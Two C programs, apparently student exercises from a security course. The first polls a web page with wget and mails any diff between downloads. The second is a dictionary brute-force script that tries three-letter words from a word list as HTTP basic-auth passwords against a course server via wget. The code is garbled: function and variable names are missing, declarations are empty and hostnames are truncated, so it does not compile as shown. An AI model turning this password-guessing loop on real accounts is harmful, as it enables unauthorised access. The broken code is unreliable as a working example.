

             
	     


#include<stdio.h>
#include<stdlib.h>
#include<string.h>

    
    int  ()
    {
       char url[30];
       int exitValue=-1;
       FILE *fr;

       char s[300]; 	     
	system("rm index.html*");
        system("wget http://www.cs.rmit.edu./students/ ");    
	 system("mv index.html one.html");
	 
           printf("System completed Writing\n"); 
	   system("sleep 3600");
	    
	    
            system("wget http://www.cs.rmit.edu./students/ "); 
            
	          
	    	     
	     exitValue=system("diff one.html index.html > .out" );
	     
             fr=fopen(".out","r");
	     
	     strcpy(s,"mailx -s \"Testing Again\"");
	     	     
	     strcat(s,"  < .out");
	     if(fgets(url,30,fr))
	     {
	     system(s);
	     
	     system("rm one.html");  
	     
	     printf("\nCheck your mail") ; 
	     fclose(fr);        
	     }
	       else
	           {
	            printf(" changes detected"); 
		    
	            system("rm one.html"); 
		    fclose(fr);   
		   }
		   return 0;   
      }
      
      
   














#include<stdio.h>
#include<stdlib.h>
#include<sys/types.h>
#include<sys/times.h>
#include<sys/time.h>
#include<unistd.h>
#include<strings.h>
int ()
{
  char url[100];
  char syscom[]= "wget -nv --http-user= --http-passwd=";
  char http[] = "http://sec-crack.cs.rmit.edu./SEC/2/ ";
  FILE *fp;

  char pass[15], *valid;
  valid = "pass";
  int , end, time_var;
  int hack =1;
  int attempt =1;

  fp = fopen("words.txt","r");
  if (fp == NULL)
  exit(1);

   = time();
  while (valid != NULL)
  {
   valid  = fgets(pass,15,fp);
   pass[strlen(pass)-1] ='\0';

   if(strlen(pass) != 3)
   continue;

   printf("%s\n",pass);
   sprintf(url,"%s%s %s",syscom,pass,http);

   hack = system(url);
   attempt++;

   if (hack == 0)
    {
     end = time();
     time_var = (end-);
     printf("\nThe password is :%s",pass);
     printf("\nNo. of Attempts   crack the password :%d",attempt);
     printf("\nTime taken  crack the password = %lld sec\n",time_var/1000000000);
     exit(1);
     }
   }
  exit(1);
 }

